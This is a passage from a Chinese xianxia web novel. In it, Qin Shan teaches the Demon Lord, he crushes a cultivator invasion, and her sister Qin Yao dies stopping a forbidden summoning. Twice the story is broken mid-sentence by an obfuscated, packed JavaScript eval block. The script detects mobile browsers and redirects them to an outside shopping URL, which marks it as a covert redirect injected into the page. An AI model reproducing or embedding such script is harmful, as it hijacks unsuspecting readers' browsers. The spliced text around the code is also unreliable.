【秦珊,魔族(归墟传承者),修为:金丹初期。体内禁制:已解除。】 禁制解了。 那个折磨了她两年多的定时炸弹,没了。 秦珊抬起头,看着魔尊,眼眶有些发热。 她跪下,郑重地行了一个大礼:“多谢魔尊。” 魔尊摆摆手:“起来吧。我说过,你教我东西,我帮你解禁制,公平。” 秦珊站起来,看着他,心里忽然生出一个念头。 她说:“魔尊,我能问您一个问题吗?” 魔尊说:“问。” 秦珊说:“您以后打算怎么办?” 魔尊说:“什么怎么办?” 秦珊说:“就是……您醒来之后,打算做什么?” 魔尊沉默了一会儿,然后说:“不知道。” 秦珊愣了一下。 魔尊说:“我睡了几千年,外面的世界变了。我不知道该做什么。” 他的语气里带着一丝迷茫,一丝疲惫,还有一丝……孤独。 秦珊看着他,忽然觉得他很可怜。 强大如他,站在魔界之巅,却不知道自己该做什么。身后空无一人,连个说话的人都没有。 她想了想,说:“魔尊,如果您不嫌弃,可以来我的课堂听听。那里有九个学生,虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然后苍烈爆发出一声惨叫:“师父,魔尊要来听课?那我们怎么办?” 苍羽说:“我们是不是得准备一下?把教室打扫干净?准备点茶水?” 苍雷说:“魔尊喝茶吗?他喜欢喝什么茶?” 苍月小声说:“我好紧张。” 秦珊看着他们慌乱的样子,忍不住笑了。 她说:“行了行了,别紧张。魔尊也是人,不是怪物。他来听课,你们就正常上课,该干嘛干嘛。” 苍烈说:“师父,你说得轻巧。那可是魔尊啊!” 秦珊说:“那又怎样?在我眼里,他就是个想学东西的学生。跟你们一样。” 众人面面相觑,不知道该说什么。 秦珊摆摆手:“行了,都散了吧。明天照常上课。” 众人散去,屋里安静下来。 秦珊坐在椅子上,看着窗外的夜色,心里也有些紧张。 魔尊真的要来听课。 那个站在魔界顶端几千年的男人,会坐在她的教室里,听她讲课。 这是什么神仙剧情? 她摇了摇头,不再多想。 不管怎样,日子还要过。魔尊来了,她就当多收一个学生。 虽然这个学生有点特殊。 一个月后,魔尊真的来了。 那天天气很好,阳光透过云层洒下来,给苍澜城镀上一层金色。秦珊正在上课,忽然感觉到一股熟悉的气息。 她抬起头,看见教室门口站着一个黑衣男人。 魔尊。 教室里一片死寂。苍烈他们一个个瞪大眼睛,张着嘴,说不出话。 秦珊站起来,走过去,行礼:“魔尊。” 魔尊点点头,扫了一眼教室里的学生,说:“打扰了。” 秦珊说:“不打扰。您请坐。” 她指了指角落里一个空位。 魔尊走过去,坐下。 教室里安静得能听见针落地的声音。 秦珊回到讲台前,清了清嗓子,说:“继续上课。刚才讲到哪了?” 苍烈结结巴巴地说:“讲……讲到孙子兵法的‘知己知彼,百战不殆’。” 秦珊点点头,继续讲下去。 一开始她也有点紧张,但讲着讲着就忘了魔尊的存在。她讲孙子兵法,讲三十六计,讲那些古老的智慧和策略。她举例子,讲故事,偶尔还开个玩笑。 苍烈他们慢慢放松下来,开始回应她的提问,开始讨论那些战例。 一节课下来,气氛还算正常。 下课的时候,秦珊问:“大家有什么问题吗?” 苍烈他们摇摇头。 角落里,魔尊忽然开口了。 他说:“我有一个问题。” 秦珊看向他:“您请说。” 魔尊说:“你说的这些,都是怎么让人赢。但有没有想过,如果不想赢呢?” 秦珊愣了一下。 魔尊继续说:“如果一个人不想赢,只想不输,或者只想离开,该怎么用这些?” 秦珊沉默了一会儿,然后说:“您说的这个,叫止损。有时候,不输就是赢,离开就是赢。这需要更大的智慧和勇气。” 魔尊看着她,眼神里闪过一丝什么。 他点点头,站起来,说:“今天的课,很有意思。下次我还会来。” 说完,他转身离开。 教室里安静了很久。 然后苍烈爆发出一声欢呼:“魔尊走了!他没杀我们!” 苍羽说:“他还说下次会来!我们是不是能经常见到魔尊了?” 苍雷说:“我刚才差点尿裤子。” 苍月小声说:“我觉得魔尊挺好的,没有传说中那么可怕。” 秦珊看着他们,笑了笑,没说话。 她想着魔尊最后那个问题。 如果不想赢呢? 这个问题,问得真好。 从那以后,魔尊隔三差五就会来听课。 有时候他来的时候秦珊正在上课,他就悄悄坐在角落里,听完就走。有时候他来的时候秦珊没课,他就让她单独给他讲。 秦珊给他讲了很多东西。讲孙子兵法,讲三十六计,讲博弈论,讲心理学,讲历史上有名的战例。魔尊听得很认真,时不时会问一些问题。 他的问题总是很特别,不是问“怎么赢”,而是问“怎么不输”“怎么撤退”“怎么保全”。秦珊一开始不明白他为什么对这些感兴趣,后来慢慢懂了。 他是真的累了。几千年的战斗,几千年的孤独,让他对“赢”失去了兴趣。他更想知道的是,怎么才能不输,怎么才能全身而退,怎么才能不再战斗。 秦珊把这些都教给了他。 有一天,上完课之后,魔尊忽然问她:“你觉得魔界怎么样?” 秦珊想了想,说:“乱。但乱得有活力。” 魔尊说:“乱得有活力?” 秦珊说:“对。魔界虽然乱,但每个人都活得很真实。想打就打,想骂就骂,不高兴就翻脸,高兴了就喝酒。不像修真界,表面上客客气气,背后捅刀子。” 魔尊沉默了一会儿,然后说:“你说得对。” 他看着窗外,说:“我守了这里几千年,就是因为喜欢这种真实。虽然有时候很累,但至少不虚伪。” 秦珊说:“那您现在还想离开吗?” 魔尊摇摇头:“不离开了。留下来,看看这些人,也挺好。” 秦珊看着他,忽然觉得他没那么可怕了。 他只是一个累了很久,想要休息的人。 又过了一个月,魔尊来得少了。 秦珊听苍澜君说,他在整顿魔界。杀了几个不听话的,换了一批听话的,把九大魔君重新排了一遍。黑渊被他调去了西域,离苍澜境远远的。苍澜君还是留在东域,但地盘扩大了不少。 秦珊问他:“魔尊这是要干什么?” 苍澜君说:“改革。他想让魔界变个样子。” 秦珊说:“变什么样子?” 苍澜君说:“不知道。但我觉得,他在按你教他的那些东西做事。” 秦珊愣住了。 按她教的做事? 她教的东西,能用在这个地方? 苍澜君说:“你想啊,他以前从来不管事,现在开始管了。他以前只知道打,现在开始想怎么不打也能赢。这不是你教的吗?” 秦珊沉默了。 她想起魔尊问过的那些问题:怎么不输,怎么撤退,怎么保全。 原来他学这些,不是为了自己,是为了魔界。 她心里忽然涌起一股奇怪的感觉。 那个男人,表面上冷冰冰的,心里其实装着的,是这片土地上所有的人。 10. 第10章改革 魔尊开始改革了。 最先动的是九大魔君的领地划分。以前九个人各占一块,互相之间摩擦不断,今天你抢我一块地,明天我杀你几个人。魔尊懒得管,但醒来之后,他不想再看了。 他做的第一件事是把黑渊调去西域。 黑渊接到调令的时候脸色铁青,但不敢说什么。西域是幻魔君的地盘,幻魔君死了之后一直空着,但那个地方穷得叮当响,跟富庶的东域没法比。黑渊心里恨得要死,但还是老老实实收拾东西滚蛋了。 苍澜君的地盘扩大了一圈,把原来黑渊的领地并进来一半,另一半分给了北边的冰魔君。冰魔君是个女人,长得很冷,话也很少,秦珊没见过她,但听苍澜君说那是个不好惹的角色。 然后是军队。 魔尊下令整编九大魔君的私军,每个魔君最多保留五千亲卫,剩下的全部归入魔界正规军,由魔宫统一指挥。这道命令一下,九大魔君炸了锅。私军是他们的命根子,没了私军,他们还算什么魔君? 但炸归炸,没人敢公开反对。幻魔君的尸体还没凉透呢。 苍澜君倒是很平静。他本来就只有三万军队,去掉两万五,剩下五千,影响不大。而且他这些年跟着秦珊学了不少东西,知道兵不在多在精。他主动配合魔尊的命令,第一个把军队名单报了上去。 魔尊收到名单的时候多看了他两眼,没说什么,但眼神里多了一丝满意。 接下来是教育。 魔尊下令在魔界各地开设学堂,教魔族读书认字,教他们下棋算数,教他们那些秦珊教的东西。老师不够,就从苍澜境调。苍烈他们七个被抽调去当了临时教官,轮流去各个魔君的领地讲课。 秦珊也被请去了魔宫,给魔尊单独讲课。 讲课的内容不再是兵法谋略,而是更基础的东西。魔尊想知道,秦珊那个世界的普通人是怎么生活的,怎么思考的,怎么处理那些鸡毛蒜皮的小事。 秦珊给他讲了很多。讲她前世的学校,讲考试,讲上班,讲堵车,讲外卖,讲网购。魔尊听得入神,有时候会问一些奇怪的问题,比如“堵车的时候人们会不会打架”“外卖送慢了会不会被打”。 秦珊说:“一般不会。大家虽然生气,但顶多骂两句,不会动手。” 魔尊说:“那你们那个世界,脾气真好。” 秦珊笑了笑,没说话。 她想说不是脾气好,是有法律。但转念一想,魔界也有规矩,只是规矩跟那边不一样。 魔尊说:“你说的那些东西,听起来很麻烦。但麻烦归麻烦,至少人活着不那么累。” 秦珊说:“是啊。那边的人不用天天担心被人打死,不用担心地盘被抢,不用担心明天没饭吃。虽然也有烦心事,但至少能活着。” 魔尊沉默了一会儿,然后说:“我想让魔界变成那样。” 秦珊愣住了。 魔尊看着她,说:“你觉得可能吗?” 秦珊想了想,说:“可能,但很难。魔界的人跟那边的人不一样,他们习惯了用拳头说话。要让他们改,得慢慢来。” 魔尊说:“怎么慢慢来?” 秦珊说:“先从教育开始。让下一代人知道,除了打架,还有别的活法。等他们长大了,成了魔界的主流,事情就好办了。” 魔尊点点头,没再说话。 三个月后,魔界的改革初见成效。 九大魔君的私军整合完毕,魔宫直属的正规军达到二十万,由魔尊亲自训练。那些被裁撤的士兵要么回家种地,要么进了新开的学堂读书。一开始很多人不习惯,但时间长了,发现不打架的日子也挺好。 学堂开了一百多所,遍布魔界各地。苍烈他们七个轮流去讲课,每次回来都累得半死,但收获也大。苍羽说他认识了好几个新朋友,苍雷说他发现有个学生天赋很好,想收来做徒弟。苍月最高兴,因为她发现那些偏远地方的孩子特别可爱,每次去都给他们带好吃的。 秦珊的课还是照常上。九个学生变成了八个,苍烈他们经常不在,但苍爵和阿九一直在。小光又长大了一圈,现在已经能跟秦珊简单对话了。它用光芒闪烁的频率来表达意思,秦珊花了很长时间才学会,但学会之后沟通就方便多了。 神龛里的死亡气息又积累了不少。秦珊试过召唤归墟守卫,现在能同时召唤两个。两个归墟守卫联手,能跟化神期中期打个平手。虽然还是打不过魔尊那种级别的,但保命足够了。 这天秦珊正在上课,阿九忽然脸色一变。 “师父,我看见画面了。” 秦珊心里一紧:“什么画面?” 阿九说:“很多人,很多很多人,从那边过来。穿着白色的衣服,拿着武器。他们在飞,飞得很快。” 秦珊问:“从哪边?” 阿九指了指东方。 修真界的方向。 秦珊站起来,走到窗边,看着东边的天空。天色很正常,没什么异常。但她知道阿九不会看错。 她问:“有多少人?” 阿九闭上眼睛,过了一会儿说:“看不清,很多很多。比苍澜军还多。” 秦珊心里一沉。 比苍澜军还多,那就是至少几万人。修真界这是要干什么?大举进攻? 她让阿九继续盯着,自己去找苍澜君。 苍澜君听了之后,脸色也很难看。他说:“魔尊那边有消息吗?” 秦珊摇摇头:“还没来得及通知。” 苍澜君说:“我派人去魔宫。你先回去,让苍爵用天赋监控东边,有任何动静立刻报告。” 秦珊点点头,回到家里,让苍爵打开天赋。 苍爵闭上眼睛,片刻后说:“师父,东边确实有动静。有很多人在移动,离边界越来越近。按这个速度,三天后就能到。” 秦珊问:“能感应到他们的修为吗?” 苍爵说:“很多金丹期,还有不少元婴期,化神期……至少有十个以上。” 秦珊倒吸一口凉气。 十个化神期,几十个元婴期,几百个金丹期,再加上几万大军。修真界这是倾巢而出了。 她想不明白,他们为什么要在这个时候进攻?魔尊醒了,实力恢复,他们应该知道打不过。 除非…… 除非他们有新的底牌。 秦珊忽然想起清泉道人。那个老东西两年没露面,肯定没闲着。 她让苍爵继续监控,自己去找魔尊。 魔宫离苍澜境不近,但秦珊现在会飞了,全力赶路一天就能到。 她飞进魔宫,直接去找魔尊。 魔尊正在大殿里看什么,见她急匆匆进来,抬起头:“什么事?” 秦珊说:“修真界要进攻了。几万大军,正往边界赶,三天后到。” 魔尊的眉头皱了一下,但很快恢复平静。他说:“知道了。” 秦珊说:“魔尊,这次他们来的人很多,化神期至少有十个。可能有阴谋。” 魔尊站起来,走到窗边,看着外面的云海。他说:“阴谋?能有什么阴谋?他们想趁我沉睡的时候杀我,没成功。现在正面打不过,就想用人海战术?” 秦珊说:“清泉道人一直没露面,我担心他在准备什么。” 魔尊转过身,看着她:“你在担心我?” 秦珊愣了一下,然后说:“我在担心魔界。” 魔尊的嘴角微微上扬,那是秦珊第一次看见他笑。虽然只是很短的一瞬,但确实是笑。 他说:“你放心。他们来多少,死多少。” 秦珊说:“魔尊,我知道你很厉害,但这次不一样。他们敢来,肯定有倚仗。” 魔尊看着她,说:“那你觉得,他们的倚仗是什么?” 秦珊想了想,说:“可能是阵法。上次他们想在您苏醒的时候布九天诛魔阵,没成功。这次可能是改良过的,或者换了别的阵。” 魔尊点点头:“有道理。那你想怎么办?” 秦珊说:“我想先去边界看看,探探虚实。苍爵的天赋能监控,但具体的情况还是要亲眼确认。” 魔尊说:“你一个人去?” 秦珊说:“带着苍影他们几个,够了。” 魔尊沉默了一会儿,然后说:“我跟你去。” 秦珊愣住了。 魔尊说:“我跟你去,看看他们到底有什么倚仗。” 秦珊不知道该说什么。 魔尊说:“怎么?不欢迎?” 秦珊赶紧说:“欢迎,当然欢迎。只是……您亲自去,会不会太……” 魔尊说:“太什么?太给他们面子?无所谓,我正好想活动活动筋骨。” 他说这话的时候语气很平淡,但秦珊听出了一丝杀意。 第二天,秦珊和魔尊一起出发去边界。 同行的还有苍影他们五个,以及苍爵和阿九。苍爵负责用天赋监控全场,阿九负责预知危险。 一行人飞了一天一夜,到达魔界东域的边界。 这里是一片荒凉的山脉,山势陡峭,寸草不生。翻过这座山,就是两界之间的缝隙地带,再往前就是修真界。 苍爵闭上眼睛感应了一会儿,说:“师父,他们已经到了缝隙地带,正在扎营。距离这里大概两百里。” 秦珊问:“多少人?” 苍爵说:“至少五万。化神期十三个,元婴期五十多个,金丹期不计其数。” 秦珊倒吸一口凉气。五万大军,十三位化神期,这阵容比她想象的还要庞大。 魔尊站在山顶,看着东边的方向,一言不发。 秦珊走到他身边,问:“魔尊,您怎么看?” 魔尊说:“他们确实有倚仗。你看那边。” 他指了指远处的天空。 秦珊顺着他的手指看去,什么都没看见。 魔尊说:“那边有阵法的气息。很强,比上次的九天诛魔阵还要强。” 秦珊心里一紧:“什么阵法?” 魔尊说:“不知道。但能让我感觉到威胁的,至少是上古级别的阵法。” 上古级别的阵法。秦珊听说过,那是修真界失传已久的东西,威力巨大,布置起来也极其复杂。如果清泉道人真的找到了上古阵法的传承,那这次就麻烦了。 阿九忽然开口:“师父,我看见画面了。” 秦珊问:“什么画面?” 阿九说:“我看见很多人,站在一个很大的圈里。圈里有光,很亮的光,冲上天。然后那个光炸开了,好多人都死了。” 秦珊问:“是我们的人还是他们的人?” 阿九摇摇头:“看不清。” 魔尊看了阿九一眼,说:“这孩子,天赋不错。” 秦珊说:“他是我的第二个徒弟,天赋是预知。” 魔尊点点头,没再说话。 晚上,他们找了个隐蔽的地方休息。苍爵一直开着天赋监控,阿九时不时报告预见的画面。秦珊睡不着,坐在一块石头上发呆。 魔尊走过来,在她旁边坐下。 秦珊看了他一眼,没说话。 魔尊说:“你在想什么?” 秦珊说:“在想怎么打赢这场仗。” 魔尊说:“你担心打不赢?” 秦珊说:“担心。五万人,十三个化神期,还有上古阵法。我们这边呢?魔界正规军二十万,但分散在各处,一时半会儿集结不起来。苍澜君的三万人在东域,能最快赶到。其他的魔君,不知道会不会来帮忙。” 魔尊说:“他们不敢不来。” 秦珊说:“您这么肯定?” 魔尊说:“我杀了一个幻魔君,其他人就知道不听话的后果。” 秦珊沉默了一会儿,说:“魔尊,您觉得,这场仗打赢之后,魔界会变成什么样?” 魔尊想了想,说:“不知道。但至少,修真界会老实几年。” 秦珊说:“然后呢?” 魔尊说:“然后继续改革,继续让魔界变个样子。” 秦珊看着他,心里忽然有些感慨。这个男人,以前只知道打,现在开始想以后了。 她说:“魔尊,您变了。” 魔尊说:“变了吗?” 秦珊说:“变了。以前的您,不会想这些。” 魔尊沉默了一会儿,然后说:“可能是你教的。” 秦珊愣了一下。 魔尊说:“你教我的那些东西,让我知道,除了打架,还有别的路。” 秦珊不知道该说什么。 魔尊站起来,看着东边的夜空,说:“明天,他们应该会动手。你做好准备。” 秦珊点点头。 第二天清晨,天刚蒙蒙亮,苍爵就报告:“师父,他们动了。正在往这边来。” 秦珊站起来,看向东边。远处的天空中,出现了一片密密麻麻的黑点。那是修真界的大军。 魔尊站在山顶,一动不动。 黑点越来越近,越来越大。秦珊看清了,那是一群群御剑飞行的修士,白衣飘飘,气势如虹。最前面的是十三个化神期,周身环绕着各色光芒,看起来像十三颗流星。 苍影他们五个站在秦珊身后,手按在刀柄上,随时准备动手。苍爵和阿九躲在后面的山洞里,一个监控,一个预知。 修真界的大军在距离山顶十里处停下,排成整齐的阵型。那十三个化神期飞在最前面,居高临下地看着他们。 其中一个白发老者开口了,声音洪亮,传遍整个山脉:“魔尊,出来受死!” 魔尊没动,甚至连眼皮都没抬一下。 那老者怒了,大声说:“你以为你还是当年的魔尊吗?沉睡几千年,实力还剩几成?今天就是你的死期!” 魔尊终于开口了,声音不大,但清清楚楚传到每个人耳朵里:“说完了?” 老者一愣。 魔尊说:“说完了就动手。别浪费时间。” 老者脸色铁青,挥了挥手。身后的修士大军开始布阵,一道道光芒从他们身上升起,在空中交织成一个巨大的光罩。 秦珊认出来了,那是上古阵法,比九天诛魔阵还要复杂。光罩迅速扩大,向他们这边笼罩过来。 魔尊终于动了。 他抬起手,轻轻一挥。 一道黑色的光芒从他手中射出,撞在光罩上。光罩剧烈颤抖,但没有碎。 魔尊的眉头微微一皱。 那老者哈哈大笑:“魔尊,这阵法是上古传承,专门克制你的魔气!今天你插翅难飞!” 魔尊没理他,继续挥手。又一道黑光射出,光罩还是没碎。 秦珊在旁边看着,心里有些着急。她问阿九:“能看见什么吗?” 阿九说:“看不见,画面很乱。” 秦珊咬了咬牙,拿出神龛。她召唤出两个归墟守卫,让它们冲向光罩。 归墟守卫撞在光罩上,黑色的雾气跟光罩的光芒互相侵蚀,发出刺耳的嘶鸣声。光罩颤抖得更厉害了,但还是没碎。 那老者脸色微变,但很快恢复镇定:“雕虫小技!继续!” 更多的修士注入魔力,光罩变得更加稳固。 魔尊看了秦珊一眼,说:“你退后。” 秦珊退了几步。 魔尊深吸一口气,然后他的身形开始变化。 不是变大,是变得模糊,像是一团黑色的雾气在凝聚。那雾气越来越浓,最后凝聚成一条巨大的黑龙。 黑龙仰天长啸,声音震天动地。 然后它冲向光罩。 轰的一声巨响,光罩炸裂开来。强大的冲击波向四周扩散,山石崩裂,树木摧折。那些维持阵法的修士们被震飞出去,口吐鲜血。 十三个化神期齐齐变色,那老者大喊:“不好!阵法破了!快退!” 但来不及了。 黑龙在空中一个盘旋,然后俯冲下来。它的速度快得惊人,秦珊只看见一道黑影闪过,然后那十三个化神期就少了三个。 剩下的十个四散奔逃,但黑龙更快。它追上一个,一爪拍碎;追上另一个,一口吞下;追上第三个,尾巴一扫,那人直接化作血雾。 不到一炷香的时间,十三个化神期死了九个,剩下四个逃得快,躲进了后面的修士大军里。 黑龙停下来,重新化成人形。魔尊站在空中,身上不沾半点血迹,脸色平静得像是什么都没发生过。 他看向那四散奔逃的修士大军,淡淡地说:“还要打吗?” 没人回答。 远处传来一阵骚动,然后大军开始溃退。御剑的飞得比谁都快,不会飞的在地上跑得比兔子还快。五万人,一炷香之前还气势汹汹,现在跑得干干净净。 魔尊落回山顶,看着秦珊,说:“解决了。” 秦珊张了张嘴,半天说不出话。 她知道魔尊很强,但没想到强到这个地步。十三个化神期,一炷香杀了九个,剩下的四个吓得不敢回头。五万大军,看见他就跑。这是什么概念? 魔尊看她愣住,问:“怎么了?” 秦珊回过神,说:“没……没什么。魔尊威武。” 魔尊说:“他们还会来。” 秦珊一愣:“还会来?” 魔尊说:“那个老家伙跑了,但清泉道人没露面。他在暗处,肯定还有后手。” 秦珊沉默了一会儿,说:“那怎么办?” 魔尊说:“等。” 他们在边界等了三天。 修真界的大军没有再来。苍爵每天监控,只看见零零星星的探子在边界游荡,没有大规模集结的迹象。 阿九的预知也模糊了,只能看见一些碎片。他说他看见一个穿白衣服的人,站在很远的地方,看着这边。那个人身上有很多符文,跟上次那个清泉道人很像。 秦珊知道,那是清泉道人在暗中观察。 第四天,魔尊说:“不等了。回去。” 他们返回沧澜城。 路上,秦珊问魔尊:“清泉道人为什么不露面?” 魔尊说:“他在等机会。” 秦珊说:“什么机会?” 魔尊说:“等我虚弱的时候。” 秦珊说:“您会虚弱吗?” 魔尊看了她一眼,说:“会。任何生命都会虚弱。只是时间长短的问题。” 秦珊沉默了。 魔尊说:“但他等不到。我不会给他机会。” 这话说得平淡,但秦珊听出了其中的自信。 回到沧澜城,苍澜君已经带着人在城门口等着。看见魔尊,他赶紧迎上来,行礼:“魔尊辛苦了。” 魔尊摆摆手,说:“把军队集结起来,随时准备。” 苍澜君应了一声,转身去安排。 秦珊回到家,苍爵他们都在。看见她回来,都围上来问东问西。秦珊把事情简单说了一遍,说到魔尊一炷香杀了九个化神期的时候,苍烈他们几个眼睛都直了。 苍烈说:“师父,魔尊真的这么厉害?” 秦珊说:“我亲眼看见的。十三个化神期,九个当场死,四个跑了。五万大军,看见他就跑。” 苍羽说:“我的天,魔尊到底是什么境界?” 秦珊说:“不知道。可能已经超出化神期了。” 众人沉默了一会儿。 苍月小声说:“师父,有魔尊在,我们是不是就不用怕修真界了?” 秦珊说:“话是这么说,但也不能完全依赖魔尊。万一哪天他不在,我们还得靠自己。” 苍烈点头:“师父说得对。我们还得继续练。” 接下来的日子,秦珊一边上课一边关注修真界的动向。 苍爵每天监控,阿九每天预知。修真界那边一直很安静,但越安静越让人不安。 一个月后,秦瑶来了。 她已经很久没露面了,秦珊看见她又惊又喜。 秦瑶的脸色不太好,看起来很疲惫。她进了屋,坐下来,喝了一口水,说:“清泉道人疯了。” 秦珊一愣:“什么?” 秦瑶说:“他上次没成功,这次回去之后,闭关了三个月。出关之后,他召集了一批人,说要搞一个大动作。” 秦珊问:“什么大动作?” 秦瑶说:“他要献祭自己,召唤上古魔神。” 秦珊倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365206|199801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸一口凉气。 献祭自己,召唤上古魔神。这是修真界的禁术,据说几千年前有人用过一次,结果召唤出来的魔神不受控制,把召唤者连同半个修真界都毁了。从那以后,这个术就被封印了。 秦瑶说:“他不知道从哪找到了那个术的传承,现在正在准备。如果让他成功,别说魔界,修真界也得完蛋。” 秦珊说:“那你怎么不阻止他?” 秦瑶苦笑:“我阻止不了。他身边现在有八个化神期护法,个个都是死士。我靠近不了。” 秦珊沉默了一会儿,说:“这个消息得告诉魔尊。” 秦瑶点点头。 秦珊站起来,准备去魔宫。走到门口,她回头问:“姐,你呢?跟我一起去?” 秦瑶摇摇头:“我去不了。魔宫那种地方,我进不去。” 秦珊说:“那我一个人去。” 她让苍爵照顾好阿九,自己飞向魔宫。 魔尊听完她的话,沉默了很久。 然后他说:“上古魔神。” 秦珊说:“您知道?” 魔尊说:“知道。几千年前,我跟它打过一次。” 秦珊愣住了。 魔尊说:“那时候我还年轻,它刚被召唤出来,失控了,到处杀戮。我花了三天三夜,才把它封印。” 秦珊问:“封印在哪儿?” 魔尊说:“魔界和修真界的交界处。那个地方,叫断魂谷。” 秦珊心里一震。断魂谷,就是之前修真界布阵的地方。 魔尊说:“清泉道人想在断魂谷召唤它。那里有封印的痕迹,容易沟通。” 秦珊说:“那我们怎么办?” 魔尊站起来,走到窗边,看着外面的云海。他说:“我去杀了他。” 秦珊说:“现在?” 魔尊说:“现在。不能等他召唤成功。” 秦珊说:“我跟你去。” 魔尊回头看了她一眼,说:“你去干什么?” 秦珊说:“我能帮忙。我有归墟守卫,有死亡领域,还有小光。万一有什么意外,我能拖一会儿。” 魔尊沉默了一会儿,然后说:“好。” 第二天,秦珊和魔尊再次出发去断魂谷。 这次只有他们两个。苍爵他们留在沧澜城,阿九留在家里继续预知。秦瑶说她会躲在暗处,随时支援。 飞了一天一夜,他们到达断魂谷。 谷里已经有人了。清泉道人站在谷底,周围站着八个化神期护法。他们围成一个圈,圈里有一个巨大的祭坛,祭坛上刻满了符文。 清泉道人看见他们,笑了。 那笑容很诡异,带着一种说不出的疯狂。他说:“魔尊,你来了。我等你好久了。” 魔尊落在他面前,说:“清泉,你知道自己在做什么吗?” 清泉道人说:“知道。召唤上古魔神,让它毁了魔界。” 魔尊说:“它也会毁了修真界。” 清泉道人说:“无所谓。反正我活不了了。” 魔尊看着他,说:“你真的疯了。” 清泉道人哈哈大笑,笑声在谷中回荡。他笑完之后,说:“魔尊,你以为你还是当年的你吗?沉睡几千年,实力还剩多少?上次你杀那几个化神期,已经是极限了吧?” 魔尊没说话。 清泉道人说:“我今天就让你看看,什么叫真正的力量。” 他割破手腕,鲜血滴在祭坛上。祭坛上的符文开始发光,越来越亮。一股恐怖的气息从祭坛下升起,整个山谷都在颤抖。 秦珊感觉到那股气息,心里一阵发寒。那是比魔尊还要可怕的东西。 魔尊动了。他冲向清泉道人,一掌拍下。 八个化神期护法同时出手,挡住了他。 清泉道人在后面,继续滴血。祭坛上的光芒越来越强,那股气息也越来越浓。 秦珊召唤出两个归墟守卫,让它们冲向护法。她自己释放死亡领域,黑色的雾气涌向祭坛。 但雾气刚一靠近祭坛,就被那股气息弹开。 清泉道人看了她一眼,说:“秦珊,你还敢来?你是我养的,背叛我,该死。” 秦珊说:“我不是你养的。我是我自己。” 清泉道人冷笑,一挥袖,一道光芒射向她。 秦珊躲不开,硬扛。死亡领域卸掉一部分力道,但还是被打飞出去,撞在山壁上。 她吐出一口血,挣扎着站起来。 祭坛上的光芒已经冲天而起,那股气息越来越强。魔尊被八个化神期缠住,一时脱不开身。 秦珊看着祭坛,心里涌起一股绝望。 就在这时,一道身影从天而降,落在她身边。 是秦瑶。 秦瑶扶起她,说:“妹妹,你没事吧?” 秦珊摇摇头,说:“姐,你怎么来了?” 秦瑶说:“我说过,我会在暗处。” 她看着祭坛,说:“那个东西快出来了。得阻止他。” 秦珊说:“怎么阻止?” 秦瑶沉默了一会儿,然后说:“我去。” 秦珊愣住了:“你去?你怎么去?” 秦瑶笑了笑,笑容里带着一丝苦涩。她说:“我本来就是修真界的人。我身上有他的血脉。我能用血祭,干扰召唤。” 秦珊说:“不行!那样你会死!” 秦瑶说:“死一个,总比死所有人好。” 秦珊抓住她的手,说:“姐,不要。” 秦瑶挣开她的手,说:“妹妹,好好活着。” 然后她冲向祭坛。 清泉道人看见她,愣了一下:“秦瑶?” 秦瑶没说话,割破自己的手腕,把血洒在祭坛上。 祭坛上的光芒剧烈波动起来。两股血脉互相冲突,召唤仪式开始混乱。 清泉道人大喊:“你干什么!住手!” 秦瑶不理他,继续滴血。她的脸色越来越白,身体越来越虚弱。 那股恐怖的气息开始减弱,祭坛上的光芒也暗淡下来。 清泉道人疯了,他丢下魔尊,冲向秦瑶。但魔尊已经脱身,一掌拍在他后背。 清泉道人喷出一口血,摔倒在地。 魔尊又一掌,废了他的修为。 祭坛上的光芒彻底熄灭,那股气息也消失了。 秦瑶倒在地上,脸色苍白如纸。 秦珊冲过去,抱住她:“姐!姐!” 秦瑶睁开眼睛,看着她,笑了笑:“妹妹……我做到了。” 秦珊眼泪流下来:“姐,你别说话,我救你。” 秦瑶摇摇头:“没用的……我血快流干了……你好好活着……” 她的声音越来越弱,最后闭上了眼睛。 秦珊抱着她,哭得撕心裂肺。 魔尊走过来,站在旁边,一言不发。 过了很久,秦珊抬起头,看着清泉道人。 清泉道人趴在地上,修为被废,像一条死狗。他也在看着秦珊,眼神里带着恨意。 秦珊站起来,走到他面前。 她说:“你害死了我姐。” 清泉道人冷笑:“她是你姐,也是我女儿。我养她那么大,她背叛我,该死。” 秦珊说:“你不是人。” 清泉道人说:“我是你师父。你也是我养的。” 秦珊说:“我不是。” 她拿出神龛,召唤出一个归墟守卫。 归墟守卫飘在清泉道人面前,黑雾缭绕。 清泉道人的眼神终于变了,变得恐惧。他说:“你要干什么?你不能杀我!我是你师父!” 秦珊说:“你不配。” 归墟守卫伸出手,抓住清泉道人。清泉道人惨叫一声,然后声音戛然而止。 归墟守卫把他化作一团黑雾,吸收进神龛里。 神龛微微震动,里面的死亡气息又浓了几分。 秦珊收起神龛,走回秦瑶身边。 秦瑶的身体已经冰凉。 秦珊跪下来,把她抱在怀里,眼泪一滴一滴落下来。 魔尊站在旁边,沉默了很久。然后他说:“她是个英雄。” 秦珊没说话。 魔尊说:“把她葬在魔宫吧。那里是魔界最安全的地方。” 秦珊抬起头,看着他,说:“好。” 秦瑶的葬礼在魔宫举行。 没有多少人参加,只有秦珊、魔尊、苍爵他们几个,还有苍澜君。墓碑很简单,就刻着“秦瑶之墓”四个字。 秦珊站在墓前,很久很久。 她想起第一次见到秦瑶的时候,那个戴银色面具的女人。想起她留下的那张纸条,想起她一次次在暗处保护自己。想起她最后说的那句话:妹妹,好好活着。 眼泪又流下来。 苍爵走过来,站在她身边,说:“师父,秦瑶阿姨是个好人。” 秦珊点点头。 